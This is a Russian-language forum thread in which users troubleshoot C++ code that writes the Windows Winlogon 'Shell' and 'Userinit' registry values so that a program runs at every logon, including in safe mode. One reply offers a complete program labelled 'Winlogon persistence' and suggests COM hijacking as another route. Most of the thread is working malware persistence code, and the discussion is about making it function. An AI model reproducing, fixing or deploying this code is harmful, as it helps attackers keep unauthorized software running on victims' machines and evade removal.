bool WinlogonSet(wstring lpPath) { HKEY hKey = NULL; const TCHAR winlogonDir[MAX_PATH] = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\"; TCHAR lpBuffer[MAX_PATH]; wcscpy_s(lpBuffer, L"explorer.exe, "); wcscat_s(lpBuffer, lpPath.c_str()); if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, winlogonDir, NULL, KEY_WRITE, &hKey) != ERROR_SUCCESS) { return false; } if (RegSetValueEx(hKey, L"Shell", 0, REG_SZ, (PBYTE)lpBuffer, MAX_PATH) != ERROR_SUCCESS) { return false; } RegCloseKey(hKey); return true; } C bool WinlogonSet(wstring lpPath) { HKEY hKey = NULL; const TCHAR winlogonDir[MAX_PATH] = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\"; TCHAR lpBuffer[MAX_PATH]; wcscpy_s(lpBuffer, L"explorer.exe, "); wcscat_s(lpBuffer, lpPath.c_str()); if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, winlogonDir, NULL, KEY_WRITE, &hKey) != ERROR_SUCCESS) { return false; } if (RegSetValueEx(hKey, L"Shell", 0, REG_SZ, (PBYTE)lpBuffer, MAX_PATH) != ERROR_SUCCESS) { return false; } RegCloseKey(hKey); return true; } Этот код создает по пути запись, которая должна осуществлять автозапуск как в обычном режиме, так и в безопасном. Но при тесте возникла проблема. Запись создается, но после перезапуска программа не стартует. Но если изменить как-нибудь эту запись (например, добавить пробел в конце) и перезапустить систему, то после загрузки программа стартует и с этого момента будет включаться после каждого перезапуска. Чем это можно объяснить?
Объяснить можно изменением системного значения (т.е зарезервированного изначально), думаю, поэтому оно может так тупить. Пытался добавлять еще какие-либо символы или колдовать со значением? Если говорить по факту - необходимо подвергать это дебагу, смотреть, что выкидывает в случаях, что ты описал. Не пробовал реализавоть тот же COM Hijacking, к примеру?
Podorozhnyk, не, я попутал кое-что, прости меня. Попробуй записаться в Userinit и посмотреть, будет ли та же проблема: #include <Windows.h> #include <winreg.h> #pragma comment(linker, "/entry:EntryPoint") #pragma comment(linker, "/subsystem:windows") //Winlogon persistence BOOL InstallPersistence() { HKEY hKey = HKEY_LOCAL_MACHINE; LPCWSTR lpSubKey = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon"; WCHAR wBuff[MAX_PATH]; //Путь до файла WCHAR szFile[MAX_PATH]; GetModuleFileName(NULL, (LPWSTR)szFile, sizeof(szFile)); lstrcpyW(wBuff, L"C:\\Windows\\system32\\userinit.exe, "); lstrcatW(wBuff, szFile); if (RegOpenKey(hKey, lpSubKey, &hKey) == ERROR_SUCCESS) { if (RegSetValueExW(hKey, L"Userinit", 0, REG_SZ, (const BYTE*)wBuff, sizeof(wBuff)) == ERROR_SUCCESS) { RegCloseKey(hKey); return TRUE; } } return FALSE; } DWORD APIENTRY EntryPoint() { if(InstallPersistence() != TRUE) { DWORD dwErr = GetLastError(); return dwErr; } MessageBox(NULL, L"WinLogon: Installed", L"WinLogon", MB_OK); return 0; } C #include <Windows.h> #include <winreg.h> #pragma comment(linker, "/entry:EntryPoint") #pragma comment(linker, "/subsystem:windows") //Winlogon persistence BOOL InstallPersistence() { HKEY hKey = HKEY_LOCAL_MACHINE; LPCWSTR lpSubKey = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon"; WCHAR wBuff[MAX_PATH]; //Путь до файла WCHAR szFile[MAX_PATH]; GetModuleFileName(NULL, (LPWSTR)szFile, sizeof(szFile)); lstrcpyW(wBuff, L"C:\\Windows\\system32\\userinit.exe, "); lstrcatW(wBuff, szFile); if (RegOpenKey(hKey, lpSubKey, &hKey) == ERROR_SUCCESS) { if (RegSetValueExW(hKey, L"Userinit", 0, REG_SZ, (const BYTE*)wBuff, sizeof(wBuff)) == ERROR_SUCCESS) { RegCloseKey(hKey); return TRUE; } } return FALSE; } DWORD APIENTRY EntryPoint() { if(InstallPersistence() != TRUE) { DWORD dwErr = GetLastError(); return dwErr; } MessageBox(NULL, L"WinLogon: Installed", L"WinLogon", MB_OK); return 0; }
Replacer, я сделал пару тестовых попыток, но результат тот же. Запись создается, но ничего не запускается, пока не добавить что-то вручную